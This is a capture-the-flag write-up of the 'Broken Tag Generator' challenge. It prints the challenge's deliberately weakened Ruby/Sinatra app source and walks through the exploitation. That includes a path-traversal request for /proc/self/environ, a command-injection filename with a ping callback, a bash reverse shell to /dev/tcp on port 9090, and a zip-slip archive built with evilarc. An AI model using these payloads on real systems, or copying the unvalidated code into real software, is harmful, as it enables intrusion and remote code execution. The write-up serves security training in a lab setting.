Objective 8: Broken Tag Generator
Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.
This objective was a more in-depth web application pen test that I was able to obtain a shell on. What's more is that I could solve the entire challenge with a single GET request. But that's no fun, and getting a shell is significantly more fun, so I'll run through both!
First, the site in question:
Poking around this site was aided by the usage of Burp Suite Pro. It helped me see points of user input that I could abuse, and the first thing I did to notice anything was generate a 404:
We have data leakage showing a full path to the application. I also know that this is a Ruby application, presumably Ruby on Rails as I would assume, but later found out it was another web app framework called Sinatra, which is a framework designed to be lightweight.
Beside the point, there's still more poking to do!
After looking around, I discovered a page that dynamically displayed an image based on a URL GET parameter. Messing with that parameter proved that I was able to obtain a local file inclusion exploit, as evidenced by the following:
So with an LFI...
The simple solution: Get environment variables
All I need is the content of the environment variable GREETZ
, and I had proven that an LFI is possible, so can't I just access /proc/self/environ
?
The answer is yes. By accessing image?id=../../../proc/self/environ
I am given:
Fun note: I copied the screenshot of the above because for some reason Kali would refuse to copy-paste anything past the final "/bin" string. I'm assuming that that's because it's null-terminated since it's the current running environment variables, and most lower-level applications will terminate on null bytes, so it just refused to copy the raw bytes beyond that. Screenshot is the only way I was able to capture the output without having to sanitize the raw data. Interesting.
Now it shows it right there: The contents of the GREETZ
variable is "JackFrostWasHere". Okay cool, but we have to go deeper. More like...we have to find code execution. For science!
The better solution: PWN
Since I knew the absolute value of the main ruby app running the site, I dumped the source code by looking at image?id=../../../app/lib/app.rb
:
# encoding: ASCII-8BIT
TMP_FOLDER = '/tmp'
FINAL_FOLDER = '/tmp'
# Don't put the uploads in the application folder
Dir.chdir TMP_FOLDER
require 'rubygems'
require 'json'
require 'sinatra'
require 'sinatra/base'
require 'singlogger'
require 'securerandom'
require 'zip'
require 'sinatra/cookies'
require 'cgi'
require 'digest/sha1'
LOGGER = ::SingLogger.instance()
MAX_SIZE = 1024**2*5 # 5mb
# Manually escaping is annoying, but Sinatra is lightweight and doesn't have
# stuff like this built in :(
def h(html)
CGI.escapeHTML html
end
def handle_zip(filename)
LOGGER.debug("Processing #{ filename } as a zip")
out_files = []
Zip::File.open(filename) do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
LOGGER.debug("Extracting #{entry.name}")
if entry.size > MAX_SIZE
raise 'File too large when extracted'
end
if entry.name().end_with?('zip')
raise 'Nested zip files are not supported!'
end
# I wonder what this will do? --Jack
# if entry.name !~ /^[a-zA-Z0-9._-]+$/
# raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
# end
# We want to extract into TMP_FOLDER
out_file = "#{ TMP_FOLDER }/#{ entry.name }"
# Extract to file or directory based on name in the archive
entry.extract(out_file) {
# If the file exists, simply overwrite
true
}
# Process it
out_files << process_file(out_file)
end
end
return out_files
end
def handle_image(filename)
out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
# Resize and compress in the background
Thread.new do
if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
LOGGER.error("Something went wrong with file conversion: #{ filename }")
else
LOGGER.debug("File successfully converted: #{ filename }")
end
end
# Return just the filename - we can figure that out later
return out_filename
end
def process_file(filename)
out_files = []
if filename.downcase.end_with?('zip')
# Append the list returned by handle_zip
out_files += handle_zip(filename)
elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')
# Append the name returned by handle_image
out_files << handle_image(filename)
else
raise "Unsupported file type: #{ filename }"
end
return out_files
end
def process_files(files)
return files.map { |f| process_file(f) }.flatten()
end
module TagGenerator
class Server < Sinatra::Base
helpers Sinatra::Cookies
def initialize(*args)
super(*args)
end
configure do
if(defined?(PARAMS))
set :port, PARAMS[:port]
set :bind, PARAMS[:host]
end
set :raise_errors, false
set :show_exceptions, false
end
error do
return 501, erb(:error, :locals => { message: "Error in #{ __FILE__ }: #{ h(env['sinatra.error'].message) }" })
end
not_found do
return 404, erb(:error, :locals => { message: "Error in #{ __FILE__ }: Route not found" })
end
get '/' do
erb(:index)
end
post '/upload' do
images = []
images += process_files(params['my_file'].map { |p| p['tempfile'].path })
images.sort!()
images.uniq!()
content_type :json
images.to_json
end
get '/clear' do
cookies.delete(:images)
redirect '/'
end
get '/image' do
if !params['id']
raise 'ID is missing!'
end
# Validation is boring! --Jack
# if params['id'] !~ /^[a-zA-Z0-9._-]+$/
# return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
# end
content_type 'image/jpeg'
filename = "#{ FINAL_FOLDER }/#{ params['id'] }"
if File.exists?(filename)
return File.read(filename)
else
return 404, "Image not found!"
end
end
get '/share' do
if !params['id']
raise 'ID is missing!'
end
filename = "#{ FINAL_FOLDER }/#{ params['id'] }.png"
if File.exists?(filename)
erb(:share, :locals => { id: params['id'] })
else
return 404, "Image not found!"
end
end
post '/save' do
payload = params
payload = JSON.parse(request.body.read)
data_url = payload['dataURL']
png = Base64.decode64(data_url['data:image/png;base64,'.length .. -1])
out_hash = Digest::SHA1.hexdigest png
out_filename = "#{ out_hash }.png"
out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
LOGGER.debug("output: #{out_path}")
File.open(out_path, 'wb') { |f| f.write(png) }
{ id: out_hash }.to_json
end
end
end
So...a few things to note from the above. First, it's using a really small-footprint web app framework called Sinatra. Second, Jack Frost was all over this code, commenting out pretty good things to make the app much less secure. This gives me an area to focus on: Some of the content validation functions have been removed, so what can I do to accomplish anything?
First, looking at Jack's first comment:
def handle_zip(filename)
LOGGER.debug("Processing #{ filename } as a zip")
out_files = []
Zip::File.open(filename) do |zip_file|
# Handle entries one by one
zip_file.each do |entry|
LOGGER.debug("Extracting #{entry.name}")
if entry.size > MAX_SIZE
raise 'File too large when extracted'
end
if entry.name().end_with?('zip')
raise 'Nested zip files are not supported!'
end
# I wonder what this will do? --Jack
# if entry.name !~ /^[a-zA-Z0-9._-]+$/
# raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
# end
# We want to extract into TMP_FOLDER
out_file = "#{ TMP_FOLDER }/#{ entry.name }"
# Extract to file or directory based on name in the archive
entry.extract(out_file) {
# If the file exists, simply overwrite
true
}
# Process it
out_files << process_file(out_file)
end
end
I see two obvious things: Jack removed filename validation and lets you add whatever you want, and this weird app has...zip file handling? That seems awfully random, but based on the above a potential way forward is to add some malicious code into a filename inside of a zip? Weird.
Next oddity:
get '/image' do
if !params['id']
raise 'ID is missing!'
end
# Validation is boring! --Jack
# if params['id'] !~ /^[a-zA-Z0-9._-]+$/
# return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
# end
content_type 'image/jpeg'
filename = "#{ FINAL_FOLDER }/#{ params['id'] }"
if File.exists?(filename)
return File.read(filename)
else
return 404, "Image not found!"
end
end
More of Jack removing filename validation. This one I already knew about though, it allows me to perform the aforementioned LFI since I can add special characters like dots (.
) and slashes (/
), combined to create a directory traversal.
Finally, one last interesting bit of code:
# Resize and compress in the background
Thread.new do
if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
LOGGER.error("Something went wrong with file conversion: #{ filename }")
else
LOGGER.debug("File successfully converted: #{ filename }")
end
end
Check it out, a direct system call with a variable under user control! So if I can add special characters to the filename such as ;
, &
or $(whoami)
, I can potentially execute command injection!
So to review, Jack removed filename validation in two places, the first being the image file inclusion point, allowing me to access files in other directories, the second being inside the zip handling function. Try as I might, I simply cannot do something like this:
Sadly, simply trying to change the filename during the initial post to a command injection that looked like this: a;ping -c 1 <my-ip> #.jpg
would fail, and that was most likely because of this line of ruby here that handled the post data:
post '/upload' do
images = []
images += process_files(params['my_file'].map { |p| p['tempfile'].path })
images.sort!()
images.uniq!()
content_type :json
images.to_json
end
Looks like it creates a temp file to work with, ignoring my filename. Well, looks like I'll have to concentrate on manipulating a zip file!
Since the code looks like it doesn't manipulate the filenames, I can probably upload a junk zip file and manipulate the raw data in transit...as long as I pad the filename with enough characters to send commands back on and don't change the size of the filename itself, I think I can probably obtain code execution by way of a command injection. Let's try it!
Using a simple ping command, let's see if I can get the remote server to execute something...
Successful ping back!
Now, if I wanted to get a shell, it required a little bit of finesse, since just issuing a reverse shell was met with a few complications, namely dealing with special characters required to redirect STDIN and STDOUT:
Nuts. Well, some googling brought up a vulnerability with the Ruby zip module, so maybe I could use zip slip to add a script to some arbitrary place on the remote end, then simply execute it. First, I'll write up a quick bash script that features a reverse shell, and name it pwn.jpg (since it does check for image filenames and will act on them accordingly):
#!/bin/bash
/bin/bash -i >& /dev/tcp/my_ip_address/9090 0>&1
Then I'll use evilarc to create a zip file that will drop the pwn.jpg file into something like /tmp/pwn.jpg
:
┌─[agr0@spicytaco]─[~/Documents/HHC/what]
└──╼ $ python /opt/evilarc/evilarc.py -o unix -p tmp ./pwn.jpg
Creating evil.zip containing ../../../../../../../../tmp/pwn.jpg
Then I uploaded it as normal. Since the images were stored in /tmp anyway as shown in the source code, I simply tried to execute bash pwn.jpg
, and...
Shell! Pwn3d!
I can simply read the environment variable by executing env
. The value is JackFrostWasHere
!